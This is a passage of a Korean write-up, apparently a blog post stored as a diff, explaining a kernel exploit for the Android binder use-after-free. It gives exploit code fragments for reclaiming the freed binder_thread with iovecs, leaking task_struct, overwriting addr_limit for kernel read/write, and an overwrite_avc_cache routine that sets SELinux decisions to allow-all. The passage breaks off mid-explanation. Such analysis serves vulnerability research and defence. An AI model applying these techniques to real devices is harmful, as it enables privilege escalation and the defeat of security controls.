+	io_fn_t fn;
+	iter_fn_t iter_fn;
+
+	ret = import_iovec(type, uvector, nr_segs,
+			   ARRAY_SIZE(iovstack), &iov, &iter);
+	if (ret < 0)
+		return ret;
+	//[...]
+
+	if (type == READ) {
+		fn = file->f_op->read;
+		iter_fn = file->f_op->read_iter;
+	} else {
+		fn = (io_fn_t)file->f_op->write;
+		iter_fn = file->f_op->write_iter;
+		file_start_write(file);
+	}
+	//[...]
+}
+
+
+ +

위 코드를 확인해보면 writev → vfs_writev → do_readv_writev함수 순으로 호출 되고 여기서 import_iovec 함수가 호출된다.

+ +


+ +

import_iovec함수를 살펴보면 아래와 같다.

+ +
// /lib/iov_iter.c
+int import_iovec(int type, const struct iovec __user * uvector,
+		 unsigned nr_segs, unsigned fast_segs,
+		 struct iovec **iov, struct iov_iter *i)
+{
+	ssize_t n;
+	struct iovec *p;
+	n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,
+				  *iov, &p);
+	if (n < 0) {
+		if (p != *iov)
+			kfree(p);
+		*iov = NULL;
+		return n;
+	}
+	iov_iter_init(i, type, p, nr_segs, n);
+	*iov = p == *iov ? NULL : p;
+	return 0;
+}
+
+// /fs/read_write.c
+ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
+                              unsigned long nr_segs, unsigned long fast_segs,
+                              struct iovec *fast_pointer,
+                              struct iovec **ret_pointer)
+{
+        unsigned long seg;
+        ssize_t ret;
+        struct iovec *iov = fast_pointer;
+        //[...]
+        if (nr_segs > fast_segs) {
+                iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
+                //[...]
+        }
+        if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
+                //[...]
+        }
+        //[...]
+        ret = 0;
+        for (seg = 0; seg < nr_segs; seg++) {
+                void __user *buf = iov[seg].iov_base;
+                ssize_t len = (ssize_t)iov[seg].iov_len;
+                //[...]
+                if (type >= 0
+                    && unlikely(!access_ok(vrfy_dir(type), buf, len))) {
+                        //[...]
+                }
+                if (len > MAX_RW_COUNT - ret) {
+                        len = MAX_RW_COUNT - ret;
+                        iov[seg].iov_len = len;
+                }
+                ret += len;
+        }
+        //[...]
+        return ret;
+}
+
+
+ +

위 코드에서 확인할 수 있듯이, kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); 을 통해 커널 힙을 할당 받을 수 있는데, 이때 nr_segs를 우리가 원하는 값으로 할 수 있기 때문에 binder_thread 청크를 위 코드에서 할당 받을 수 있다. 또한 그 아래 코드에서 copy_from_user 함수를 통해 실제로 값을 copy하기 때문에, 원하는 값으로 청크를 채울 수 있다.

+ +


+ +

struct iovec 의 크기가 0x10 byte이기 때문에 binder_thread 크기 만큼의 청크를 할당받기 위해서는 25개의 iovec 구조체를 할당받아야 한다. 따라서 아래와 같이 선언을 해준다면, writev에서 binder_thread 청크를 iovecStack으로 할당받을 수 있다.

+ +
//exploit.c
+struct iovec iov[25] = {0};
+
+ +


+ +

이제 해제된 binder_thread를 iovec 구조체로 재할당 받게 되었다. 이를 writev에서 어떻게 활용할 수 있는지 아래에서 다뤄본다.

+ +


+ +

5.1.2 Overwrite dangling pointer

+ +

writev에서는 iovec.base에 있는 값을 iovec.len 크기 만큼 전달한다. 이때 UAF를 통해 kernel address가 iovec.base에 들어가게 된다면, 결과적으로 kernel leak이 가능하다.

+ +
// /fs/read_write.c
+static ssize_t do_loop_readv_writev(struct file *filp, struct iov_iter *iter,
+		loff_t *ppos, int type, rwf_t flags)
+{
+    //[...]
+    while (iov_iter_count(iter)) {
+		struct iovec iovec = iov_iter_iovec(iter);
+		ssize_t nr;
+
+		if (type == READ) {
+			nr = filp->f_op->read(filp, iovec.iov_base,
+					      iovec.iov_len, ppos);
+		} else {
+			nr = filp->f_op->write(filp, iovec.iov_base,
+					       iovec.iov_len, ppos);
+		}
+    //[...]
+    }
+    //[...]
+}
+
+ +
    +
  • 위 코드에서 확인할 수 있듯이, iovec 구조체를 돌다가 file->f_op->write의 인자로 iovec[11].iov_base, iovec[11].iov_len이 들어가게 될 것이고, 결국 우리의 UAF 취약점에 의해 kernel leak이 가능하게 될 것이다.
  • +
+ +


+

+ +

UAF를 통해 kernel address가 어떻게 iovec.base에 들어갈 수 있는 지 알기 위해서는 iovec을 통해 입력한 값이 binder_thread의 각 맴버와 어떻게 매칭되는지를 먼저 확인해보면 알 수 있다.

+ +

| offset | binder_thread | iovecStack | +| — | — | — | +| … | … | … | +| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | +| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE | +| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | +| 0xB8 | … | iovecStack[11].iov_len = PAGE_SIZE |

+
    +
  • iovecStack[10].iov_base에 값을 넣을 때 주의할 점은 wait.lock에 어떠한 값이 들어가 있게 될 경우 원하는 방향으로 writev 함수가 동작하지 않기 때문에, wait.lock에 해당하는 부분을 0으로 만들어야 한다. 따라서 iovecStack[10].iov_base에 들어가는 포인터는 하위 4byte값이 0으로 되어있어야한다. +
      +
    • e.i) 0x100000000
    • +
    +
  • +
  • +

    이를 위하여 exploit 단계에서는 mmap을 사용하여 미리 0x100000000에 메모리 영역을 할당받는다.

    + +
      // exploit.c
    +    
    +  m_4gb_aligned_page = mmap(
    +                  (void *) 0x100000000ul,
    +                  PAGE_SIZE,
    +                  PROT_READ | PROT_WRITE,
    +                  MAP_PRIVATE | MAP_ANONYMOUS,
    +                  -1,
    +                  0
    +          );
    +
    +
  • +
+ +


+ +

우리가 알고 있는 사실은 binder_thread의 wait 멤버는 여전히 eppoll_entry 에 연결되어 있고, ep_remove 함수를 통해 해당 wait list를 정리할 때, wait.head.next와 wait.head.prev가 변한다는 사실이다. 정확히 어떻게 변하는 지는 circular double linked list에서 하나의 node가 제거되는 방식으로 변할 수 있는데, iovStack[11].iov_base위치에 epoll_entry 제거 과정에서 kernel memory가 저장된다.

+ +
//ep_entry->wait list 제거 과정 중..
+static inline void __list_del(struct list_head * prev, struct list_head * next)
+{
+        next->prev = prev;
+        WRITE_ONCE(prev->next, next);
+}
+
+
+ +

이렇게 되면, 실제로 writev를 통해 값이 쓰일 때, iovStack[11].iov_base에 저장된 주소부터 PAGE_SIZE까지 출력이 되면서 kernel address leak이 된다.

+ +

그림 7. task_struct leak

+ +

0xffff88801a0790a8 : iovecStack[10].len 0xffff88801a0790a8 (&iovecStack[10].len)

+ +

0xffff88801a0790b0 : iovecStack[11].iov_base 0xffff88801a0790a8 (&iovecStack[10].len)

+ +

0xffff88801a0790b8 : iovecStack[11].iov_len 0x1000

+ +

0xffff8880182f1b80 : task_struct address

+ +


+따라서 iovecStack[11].iov_base에서 0x1000만큼 출력을 하는데, 0xffff88801a0790a8+0xe8위치에 task_struct의 pointer(0xffff8880182f1b80)가 존재하기 때문에 이 값을 얻을 수 있다.

+ +


+

+ +
    +
  • iovec 구조체를 사용할 때, writev함수에서 사용이 끝나면 바로 해제되기 때문에, pipe를 이용하여 readv, writev를 진행한다. 이를 이용하면 pipe가 full이거나 empty상태 일 때, block상태가 되면서, chunk가 할당된 상태에서 유지할 수 있게 된다.
  • +
+ +


+

+ +

5.2 Leak task_struct address process

+ +

circular double linked list의 경우 노드가 해제되어 하나의 노드만 남게 되었을 경우, node.next와 node.prev가 자기 자신을 가리키게 된다. +지금까지 진행된 내용을 순서대로 정리하자면, 다음과 같다.

+ +
    +
  1. epoll, binder을 각각 생성한다.
  2. +
  3. epoll_ctl의 EPOLL_CTL_ADD 을 통해 binder_thread.wait을 연결한다.
  4. +
  5. ioctl의 BINDER_THREAD_EXIT 을 통해 binder_thread를 해제한다.
  6. +
  7. wait.lock을 우회하기 위해 0x100000000 영역을 할당 받는다.
  8. +
  9. pipe를 생성하고 pipe 크기를 page size로 지정한다.
  10. +
  11. fork를 통해 process를 2개로 나눈다. +
      +
    • process1 +
        +
      1. iovec 구조체를 설정한다. 이때 iovecStack[10].len, iovecStack[11].base가 binder_thread.wait와 매칭되어 UAF가 터지는 부분이고, iovecStack[11].lenPAGE_SIZE로 한다.
      2. +
      3. writev함수를 수행한다. +
          +
        • iovec 구조체가 실제로 kmalloc에 의해 할당된다. pipe가 FULL이기 때문에, thread가 block된 상태로 iovec 구조체가 유지된다.
        • +
        +
      4. +
      +
    • +
    • process2 +
        +
      1. iovec구조체 할당이 마무리 될 때 까지 대기하기 위해 sleep을 한다.
      2. +
      3. process1에서 구조체 할당이 끝난 후, epoll_ctl EPOLL_CTL_DEL 을 이용하여 ep_remove함수를 수행한다. +
          +
        • circular double linked list 해제 과정을 통해 thread.wait.prev, thread.wait.next에 해당하는 iovecStack[11].base와 iovecStack[10].len 이 바뀐다.
        • +
        • 이로 인해 iovecStack[11].base가 kernel 주소에 있는 list head(iovecStack[10].len의 주소)가 된다.
        • +
        +
      4. +
      5. read로 pipe에서 PAGE_SIZE만큼 읽는다. +
          +
        • 이때 읽어오는 값은 iovecStack[10].base에 값으로 의미 없는 값이다.
        • +
        • process1 의 block상태를 해제한다.
        • +
        +
      6. +
      7. process2를 종료한다.
      8. +
      +
    • +
    • process1 +
        +
      1. read를 통해 pipe에서 읽어온다. 이때 읽어오는 값은 iovecStack[11].base로 부터 읽어온 값으로 kernel memory leak이 된다.
      2. +
      3. kernel memory leak에 task_struct 주소가 존재한다.
      4. +
      +
    • +
    +
  12. +
+ +


+

+ +

5.3 Get Kernel Read / Write

+ +


+ +

5.3.1 Overwrite thread.addr_limit

+ +

우리는 UAF를 통해 iovecStack[11].base와 iovecStack[10].len을 바꿀 수 있다. 간단하게 생각해서, readv를 통해 corrupt pointer로 입력을 넣을 수 있을 것으로 보이지만, 아래 이유로 인해 readv를 사용할 수 없다.

+ +
    +
  • readv를 사용할 경우, iovecStack[10].len의 크기가 매우 커졌기 때문에, readv에서 iovecStack[10]만 출력하고 그 다음에 우리가 실제로 값을 넣어야 할 iovecStack[11].base에는 접근하지 못한다. 따라서 이 exploit에서는 readv대신 recvmsg를 사용한다.
  • +
+ +


+ +

recvmsg를 사용하면 iovecStack에 있는 iovecStack.iov_base에 socket으로 들어오는 값을 넣을 수 있게 된다. 이러한 특성과 unlink과정을 이용하여 task_struct의 addr_limit 값을 변경할 수 있다.

+ +


+

+ +

그 과정을 정리해보면 다음과 같다.

+ +
    +
  1. binder_thread를 할당 받은 다음 epoll에 연결한다.
  2. +
  3. sockpair를 통해 socket을 설정한다.
  4. +
  5. +

    iovec 구조체를 아래와 같이 세팅하고 msg 구조체에 넣어서 recvmsg로 보낼 준비를 한다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    offsetbinder_threadiovecStack
    0xA0wait.lockiovecStack[10].iov_base = m_4gb_aligned_page
    0xA8wait.head.nextiovecStack[10].iov_len = 1
    0xB0wait.head.previovecStack[11].iov_base = 0x41414141
    0xB8iovecStack[11].iov_len = 0x8 *4
    0xC0iovecStack[12].iov_base = 0x42424242
    0xC8iovecStack[12].len = 8
    +
  6. +
  7. 소켓이 미리 1byte junk data를 write한다.
  8. +
  9. fork를 이용하여 자식 프로세스를 생성한다. +
      +
    • 자식 프로세스는 잠깐 sleep상태로 있는다.
    • +
    +
  10. +
  11. 부모 프로세스에서 binder_thread를 free하고, recvmsg를 사용하여 binder_thread 크기의 iovecStack을 할당 받는다. 이때 MSG_WAITALL 옵션을 줘서, iovecStack[10].iov_base에 1byte를 작성한 다음 wait상태로 대기하게 한다.
  12. +
  13. 자식 프로세스는 sleep상태에서 깨어난 다음 아래 동작을 수행한다. +
      +
    1. epoll list를 unlink한다. 이로 인해 iovecStack[10].len과 iovecStack[11].base가 바뀌게 된다. +
        +
      • iovecStack[10]은 이미 이전에 recvmsg로 값을 받았다.
      • +
      • iovecStack[11].iov_base은 unlink과정에 의해 iovecStack[10].iov_len을 가리키는 주소로 변한다.
      • +
      +
    2. +
    3. recvmsg에서 iovStack[11].iov_base에 따라 다음에 들어가는 값은 iovecStack[10].iov_len을 가리키는 주소에 들어가고, 이로 인해 iovecStack[12].iov_base를 원하는 값으로 바꿀 수 있다.
    4. +
    5. +

      아래와 같은 값을 write함으로써, iovecStack[12].iov_base값을 task_struct의 addr_limit주소로 바꾼다.

      + +
       static uint64_t finalSocketData[] = {
      +         0x1,                    // iovecStack[IOVEC_WQ_INDEX].iov_len
      +         0x41414141,             // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
      +         0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
      +         (uint64_t) ((uint8_t *) m_task_struct +
      +                     OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
      +         0xFFFFFFFFFFFFFFFE      // addr_limit value
      + };
      +        
      +
      +
    6. +
    7. iovecStack[12].iov_len이 0x20이기 때문에, 정확히 iovecStack[12].iov_base를 task_struct의 addr_limit주소로 덮는다.
    8. +
    9. 그 다음 값인 0xFFFFFFFFFFFFFFFE은 그 다음에 저장될 장소인 iovecStack[12].iov_base가 가리키는 task_struct.addr_limit에 저장된다.
    10. +
    +
  14. +
  15. 결론적으로 task_struct의 addr_limit의 값이 0xFFFFFFFFFFFFFFFE로 바뀌게 되었기 때문에, arbitrary read/write이 가능하다.
  16. +
+ +


+

+ +

5.3.2 Make Arbitrary R/W primitives

+ +
    +
  1. +

    arbitrary R/W를 위한 pipe를 만든다.

    + +
     pipe(kernel_pipe)
    +
    +
  2. +
  3. +

    앞서 만든 pipe를 통해서 data를 pipe에 read하고 write하는 과정을 통해 원하는 주소에 있는 값을 버퍼로 옮기거나 버퍼에서 주소로 작성할 수 있다.

    +
      +
    • +

      read : 주소 값을 pipe에 작성한 다음, 버퍼로 pipe읽어오기

      + +
        void Read(void *addr, size_t len, void *buf) {
      +      write(kernel_pipe[1], addr, len);
      +      read(kernel_pipe[0], buf, len);
      +  }
      +
      +
    • +
    • +

      write : 버퍼 값을 pipe에 write한 다음, 주소에서 read하기

      + +
        void Write(void *addr, size_t len, void *buf) {
      +  	write(kernel_pipe[1], buf, len);
      +  	read(kernel_pipe[0], addr, len);
      +  }
      +
      +
    • +
    +
  4. +
+ +


+

+ +

5.4 Bypass SELinux

+ +

이 챕터에서는 SELinux의 동작 과정을 살펴본다. 그중에서 특히 avc_cache에 관련된 부분을 소스코드와 함께 살펴보면서, 이를 이용하여 SELinux를 우회할 수 있는 방법에 대해 알아본다.

+ +
    +
  • 이 챕터에서 분석한 SELinux 코드는 linux kernel 4.4.177 version이다.
  • +
+ +


+ +

5.2.1 How SELinux works

+ +

SELinux는 아래와 같은 순서로 동작한다.

+ +

그림 8. SELinux 동작 과정 출처 : [https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png](https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png)

+ +
    +
  1. Subject가 동작을 수행해도 되는지 Object Manager에게 Request를 보낸다. 이때 subject는 일반적으로 resource에 접근하는 프로세스를 말한다.
  2. +
  3. Object Manager는 Subject의 동작 수행 여부를 결정하기 위해 Security Server에 쿼리를 보낸다.
  4. +
  5. Security Server는 Security Policy를 기반으로 결정하여 answer을 돌려준다.
  6. +
  7. 답변된 answer의 경우 AVC cache에 저장되며 이후 같은 request를 Object Manager에서 물어볼 경우 Access Vector Cache에 저장된 내용을 기반으로 행동을 결정한다.
  8. +
+ +


+ +

5.4.2 avc_cache linked with avc_node

+ +

AVC는 일반적으로 커널 혹은 user land에서 decision을 cache로 저장하기 위해 아래와 같은 hashmap으로 구현된다.

+ +
// /security/selinux/avc.c
+struct avc_cache {
+	struct hlist_head	slots[AVC_CACHE_SLOTS]; /* head for avc_node->list */
+	spinlock_t		slots_lock[AVC_CACHE_SLOTS]; /* lock for writes */
+	atomic_t		lru_hint;	/* LRU hint for reclaim scan */
+	atomic_t		active_nodes;
+	u32			latest_notif;	/* latest revocation notification */
+};
+
+struct avc_node {
+	struct avc_entry	ae;
+	struct hlist_node	list; /* anchored in avc_cache->slots[i] */
+	struct rcu_head		rhead;
+};
+
+struct avc_entry {
+	u32			ssid;
+	u32			tsid;
+	u16			tclass;
+	struct av_decision	avd;
+	struct avc_xperms_node	*xp_node;
+};
+
+// /security/selinux/include/security.h
+struct av_decision {
+	u32 allowed;
+	u32 auditallow;
+	u32 auditdeny;
+	u32 seqno;
+	u32 flags;
+};
+
+ +

위 구조체들의 연결 관계를 살펴보면 다음과 같다.

+ +

그림 9. avc_cache와 avc_node 사이의 연결 관계

+ +

위 구조체에서 주의 깊게 봐야 하는 부분은 avc_cache에서 avc_node로 향하는 list pointer를 나눌 때, hash값을 기준으로 나눈다는 점이다. 같은 hash를 가진 avc_node의 경우 avc_node.hlist_node에 의하여 linked list로 연결되어있다. +그리고 실제 동작을 허용 여부를 결정하는 av_decision은 avc_entry에 내장되어고, 다시 avc_entry는 avc_node에 속해있다.

+ +


+ +

5.4.3 Dive into source code

+ +

SELinux에서 subject가 avc에 쿼리를 보내서 접근 제어를 결정하기 위해 확인하는 함수는 avc_has_perm함수이다.

+ +
// /security/selinux/avc.c
+
+/**
+ * avc_has_perm - Check permissions and perform any appropriate auditing.
+ * @ssid: source security identifier
+ * @tsid: target security identifier
+ * @tclass: target security class
+ * @requested: requested permissions, interpreted based on @tclass
+ * @auditdata: auxiliary audit data
+ *
+ * Check the AVC to determine whether the @requested permissions are granted
+ * for the SID pair (@ssid, @tsid), interpreting the permissions
+ * based on @tclass, and call the security server on a cache miss to obtain
+ * a new decision and add it to the cache.  Audit the granting or denial of
+ * permissions in accordance with the policy.  Return %0 if all @requested
+ * permissions are granted, -%EACCES if any permissions are denied, or
+ * another -errno upon other errors.
+ */
+
+int avc_has_perm(u32 ssid, u32 tsid, u16 tclass,
+		 u32 requested, struct common_audit_data *auditdata)
+{
+	struct av_decision avd;
+	int rc, rc2;
+
+	rc = avc_has_perm_noaudit(ssid, tsid, tclass, requested, 0, &avd);
+
+	rc2 = avc_audit(ssid, tsid, tclass, requested, &avd, rc, auditdata, 0);
+	if (rc2)
+		return rc2;
+	return rc;
+}
+
+
+ +
    +
  • +

    avc_has_perm의 주석을 살펴보면 아래와 같다.

    + +

    ”AVC를 확인하여 요청된 권한이 SID pair(@ssid, @tsid)에 대해 허용되는지 확인하고 tclass 기반으로 권한을 해석한 후, cache가 없는 경우 security server를 호출하여 새 decision을 받아 cache에 추가한다. 정책에 따라서 권한을 허용하거나 거부한다 [….]”

    + +
      +
    • ssid: source security identifier (접근 주체)
    • +
    • tsid: target security identifier (접근 대상)
    • +
    • tclass: target security class (대상 리소스의 유형)
    • +
    • requested: requested permissions, interpreted based on @tclass (요청한 권한)
    • +
    • auditdata: auxiliary audit data
    • +
    +
  • +
+ +


+ +

먼저 avc_has_perm_noaudit을 살펴보면 다음과 같다.

+ +
// /security/selinux/avc.c
+inline int avc_has_perm_noaudit(u32 ssid, u32 tsid,
+			 u16 tclass, u32 requested,
+			 unsigned flags,
+			 struct av_decision *avd)
+{
+	struct avc_node *node;
+	struct avc_xperms_node xp_node;
+	// [...]
+	node = avc_lookup(ssid, tsid, tclass);
+	if (unlikely(!node))
+		node = avc_compute_av(ssid, tsid, tclass, avd, &xp_node);
+	else
+		memcpy(avd, &node->ae.avd, sizeof(*avd));
+
+	denied = requested & ~(avd->allowed);
+	if (unlikely(denied))
+		rc = avc_denied(ssid, tsid, tclass, requested, 0, 0, flags, avd);
+
+	rcu_read_unlock();
+	return rc;
+}
+
+
+ +
    +
  • +

    avc_lookup(ssid, tsid, tclass)를 통해 node를 찾는 것처럼 보이는 데 실제로 코드를 확인해 보면 아래와 같다.

    + +
      // /security/selinux/avc.c
    +  static struct avc_node *avc_lookup(u32 ssid, u32 tsid, u16 tclass)
    +  {
    +  	struct avc_node *node;
    +    
    +  	avc_cache_stats_incr(lookups);
    +  	node = avc_search_node(ssid, tsid, tclass);
    +    
    +  	if (node)
    +  		return node;
    +    
    +  	avc_cache_stats_incr(misses);
    +  	return NULL;
    +  }
    +    
    +
    + +
      +
    • avc_search_node에 ssid, tsid, tclass를 인자로 줘서 node를 찾는다.
    • +
    + +
      // /security/selinux/avc.c
    +  static inline struct avc_node *avc_search_node(u32 ssid, u32 tsid, u16 tclass)
    +  {
    +  	struct avc_node *node, *ret = NULL;
    +  	int hvalue;
    +  	struct hlist_head *head;
    +    
    +  	hvalue = avc_hash(ssid, tsid, tclass);
    +  	head = &avc_cache.slots[hvalue];
    +  	hlist_for_each_entry_rcu(node, head, list) {
    +  		if (ssid == node->ae.ssid &&
    +  		    tclass == node->ae.tclass &&
    +  		    tsid == node->ae.tsid) {
    +  			ret = node;
    +  			break;
    +  		}
    +  	}
    +    
    +  	return ret;
    +  }
    +
    + +
      +
    • line 8 : ssid, tsid, tclass를 기준으로 hash값을 계산한다.
    • +
    • line 9 : 해당 hash에 해당하는 avc_cache.slotshlist_head를 구한다. +
        +
      • hlist_head에는 같은 hash를 가진 avc_node들이 list로 연결되어 있다. (그림 9 참조)
      • +
      +
    • +
    • line 10~17 : hlist_head에 연결된 head중에 ssid, tclass, tsid가 일치하는 node를 찾는다.
    • +
    +
  • +
+ +


+ +

다시 avc_has_perm_noaudit으로 돌아와서 위 과정을 통해 알맞은 node를 찾았을 경우 찾은 node의 avd(av_decision)을 avd로 복사한다. 하지만 node를 찾지 못한 경우, avc_compute_av함수를 진행한다.

+ +
// /security/selinux/avc.c
+// avc_has_perm_noaudit() line 11
+    if (unlikely(!node))
+		node = avc_compute_av(ssid, tsid, tclass, avd, &xp_node);
+	else
+		memcpy(avd, &node->ae.avd, sizeof(*avd));
+
+ +


+ +

avc_compute_av함수는 아래와 같다.

+ +
// /security/selinux/avc.c
+static noinline struct avc_node *avc_compute_av(u32 ssid, u32 tsid,
+			 u16 tclass, struct av_decision *avd,
+			 struct avc_xperms_node *xp_node)
+{
+	rcu_read_unlock();
+	INIT_LIST_HEAD(&xp_node->xpd_head);
+	security_compute_av(ssid, tsid, tclass, avd, &xp_node->xp);
+	rcu_read_lock();
+	return avc_insert(ssid, tsid, tclass, avd, xp_node);
+}
+
+ +

함수 깊숙이 들어가면 너무 복잡해져서 간단히 설명하면 아래와 같다.

+ +
    +
  • line 8 : security_compute_av : ssid, tsid, tclass를 기준으로 SELinux에서 사용할 새로운 context를 만든다. 그리고 avd를 초기화하여 세팅한다.
  • +
  • line 10 : 새로운 node를 만들고 세팅한 다음, hash를 계산해서 avc_cache.slots에 일치하는 hash 위치의 list에 연결한다.
  • +
+ +

그림 10. insert new node

+ +


+ +

다시 avc_has_perm_noaudit으로 돌아와서, 앞선 과정에 의해 avd(av_decision)이 결정된 상태로 아래 코드가 수행된다.

+ +
// avc_has_perm_noaudit() line 16
+	denied = requested & ~(avd->allowed);
+	if (unlikely(denied))
+		rc = avc_denied(ssid, tsid, tclass, requested, 0, 0, flags, avd);
+
+	rcu_read_unlock();
+	return rc;
+}
+
+ +

요청된 request가 avd->allowed에 포함되는지 확인하고, 그렇지 않을 경우 avc_denied함수를 호출하고, 허용될 경우 rc를 반환한다.

+ +

avc_denied함수는 아래와 같다.

+ +
// /security/selinux/avc.c
+static noinline int avc_denied(u32 ssid, u32 tsid,
+				u16 tclass, u32 requested,
+				u8 driver, u8 xperm, unsigned flags,
+				struct av_decision *avd)
+{
+	if (flags & AVC_STRICT)
+		return -EACCES;
+
+	if (selinux_enforcing && !(avd->flags & AVD_FLAGS_PERMISSIVE))
+		return -EACCES;
+
+	avc_update_node(AVC_CALLBACK_GRANT, requested, driver, xperm, ssid,
+				tsid, tclass, avd->seqno, NULL, flags);
+	return 0;
+}
+
+
+ +
    +
  • avc_denied함수에서는 flag와 linux kernel 설정에 따라 -EACCESS 에러를 호출하거나 avc_update_node함수를 통해 avc_node의 설정값을 바꾼다.
  • +
+ +


+ +

avc_has_perm_nodaudit함수가 이렇게 return되고, avc_has_perm 함수로 돌아와서 avc_audit함수가 실행된다.

+ +
// avc_has_perm() line 26
+	rc = avc_has_perm_noaudit(ssid, tsid, tclass, requested, 0, &avd);
+
+	rc2 = avc_audit(ssid, tsid, tclass, requested, &avd, rc, auditdata, 0);
+	if (rc2)
+		return rc2;
+	return rc;
+}
+
+
+ +


+ +

이제 avc_audit함수를 살펴본다.

+ +
// /security/selinux/include/avc.h
+static inline int avc_audit(u32 ssid, u32 tsid,
+			    u16 tclass, u32 requested,
+			    struct av_decision *avd,
+			    int result,
+			    struct common_audit_data *a,
+			    int flags)
+{
+	u32 audited, denied;
+	audited = avc_audit_required(requested, avd, result, 0, &denied);
+	if (likely(!audited))
+		return 0;
+	return slow_avc_audit(ssid, tsid, tclass,
+			      requested, audited, denied, result,
+			      a, flags);
+}
+
+ +


+ +

avc_audit 함수에서 먼저 avc_audit_required함수를 호출한다.

+ +
// /security/selinux/inclue/avc.h
+static inline u32 avc_audit_required(u32 requested,
+			      struct av_decision *avd,
+			      int result,
+			      u32 auditdeny,
+			      u32 *deniedp)
+{
+	u32 denied, audited;
+	denied = requested & ~avd->allowed;
+	if (unlikely(denied)) {
+		audited = denied & avd->auditdeny;
+		//[...]
+		if (auditdeny && !(auditdeny & avd->auditdeny))
+			audited = 0;
+	} else if (result)
+		audited = denied = requested;
+	else
+		audited = requested & avd->auditallow;
+	*deniedp = denied;
+	return audited;
+}
+
+ +
    +
  • line 8 → line 27 : 요청된 권한과 실제 avd가 가지고 있는 권한이 같은 경우, 즉 요청이 허용된 경우에는 audit을 진행하지 않는다고 표기한다. (return 0)
  • +
  • line 8 → line 9 : 요청된 권한과 실제 avd가 가지고 있는 권한이 다른 경우, 즉 요청이 허용되지 않는 경우에는 avd->auditdeny 값에 따라서 audited 변수의 값을 정한다.
  • +
  • line 29 : 혹은 앞서 avc_denied 에 의해 error가 발생한 상황이라면, audited는 requested & avd->auditallow 값으로 설정된다.
  • +
+ +


+ +

다시 avc_audit으로 돌아와서 avc_audit_required 함수에서 0이 return 된 경우 ,즉 audit이 필요하지 않다고 판단한 경우에는 0을 return한다. 하지만 audit이 필요한 경우, slow_avc_audit함수를 호출한다.

+ +
// avc_audit line 11
+	if (likely(!audited))
+		return 0;
+	return slow_avc_audit(ssid, tsid, tclass,
+			      requested, audited, denied, result,
+			      a, flags);
+}
+
+ +

audit 과정을 자세히 들여다 보진 않을 것이지만, request와 avd의 descision, 그리고 앞서 결정된 것들에 의해 여러가지 동작을 수행하게 된다.

+ +


+

+ +

지금까지 살펴본 내용을 정리하자면 다음과 같다.

+ +
    +
  1. ssid, tsid, tclass를 기준으로 hash값을 만든다.
  2. +
  3. 만들어진 hash값에 해당하는 avc_cache.slots의 hlist를 가져온다. +
      +
    • 하나의 slots는 같은 hash를 가진 avc_node들이 hlist(double linked list)로 연결되어 있다.
    • +
    +
  4. +
  5. 앞서 구한 slots의 avc_node를 linked list를 순회하며 처음 주어진 ssid, tsid, tclass가 일치하는 avc_node를 구한다.
  6. +
  7. avc_node를 구했다면, 구한 node의 av_decision을 가져온다.
  8. +
  9. avc_node를 구하지 못했다면, 새로운 SELinux context를 만들고 decision을 세팅한다. +
      +
    • 세팅한 내용과 decision을 바탕으로 node를 할당 받은 다음 hash를 구해, 만들어진 hash에 해당하는 avc_cache.slots list에 연결한다.
    • +
    +
  10. +
  11. 앞서 구한 node에서 가지고 있는 av_decision과 request를 비교한다.
  12. +
  13. 만약 허용되지 않은 request라면 linux kernel 설정에 따라 추가적인 audit을 진행한다.
  14. +
+ +


+ +

여기서 중요한 것은 SELinux에서 권한을 비교할 때, avc_cache.slots에 hash로 접근해서 avc_node에 있는 decision을 기준으로 비교한다는 것이다. 즉, avc_node에 있는 decision을 원하는 값으로 바꿀 수 있다면 SELinux의 검사를 우회할 수 있다.

+ +

자세한 방법에 대해서는 아래에서 다룬다.

+ +


+

+ +

5.4.3 Bypass SELinux

+ +

앞서 SELinux를 Bypass하기 위해서는 avc_cache.slots안에 있는 avc_node의 decision을 바꾸면 된다는 사실을 알았다. 이 챕터에서는 이를 이용하여 실제로 SELinux를 우회하는 방법에 대해서 설명한다.

+ +

먼저 avc_cache를 overwrite하는 함수는 아래와 같다.

+
    +
  • pAvcCache는 avc_cache 구조체의 주소로, 미리 leak했다고 가정한다.
  • +
+ +
static int32_t overwrite_avc_cache(uint64_t pAvcCache)
+{
+    int32_t iRet = -1;
+    uint64_t pAvcCacheSlot = 0;
+    uint64_t pAvcDescision = 0;
+
+    for(int32_t i = 0; i < AVC_CACHE_SLOTS; i++)
+    {
+        pAvcCacheSlot = kernel_read_ulong(pAvcCache + i*sizeof(uint64_t));
+
+        while(0 != pAvcCacheSlot)
+        {
+            pAvcDescision = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET;
+
+            if(sizeof(uint32_t) != kernel_write_uint(pAvcDescision, AVC_DECISION_ALLOWALL))
+            {
+                printf("[-] failed to overwrite avc_cache decision!\n");
+                goto done;
+            }
+
+            pAvcCacheSlot = kernel_read_ulong(pAvcCacheSlot);
+        }
+    }
+
+    iRet = 0;
+
+done:
+
+    return iRet;
+}
+
+ +
    +
  • line 9 : avc_cache.slots에 있는 hlist를 읽어온다. 그렇게 되면 pAvcCacheSlot은 같은 같은 hash를 가진 avc_node의 list 주소가 된다.
  • +
  • line 11 ~ 22 (while): avc_cache.slots는 hlist로 연결되어 있기 때문에 다음 연결된 node로 전환하면서 더 이상 node가 없을 때 까지 while을 반복한다. +
      +
    • 그림 9 참고
    • +
    +
  • +
  • line 13 : avc_node에 descision 위치의 값에 AVC_DECISION_ALLOWALL를 write한다. +
      +
    • +

      avc_node.avd은 avc_node.list보다 위에 존재하기 때문에 그 offset만큼 빼서 구한다.

      + +

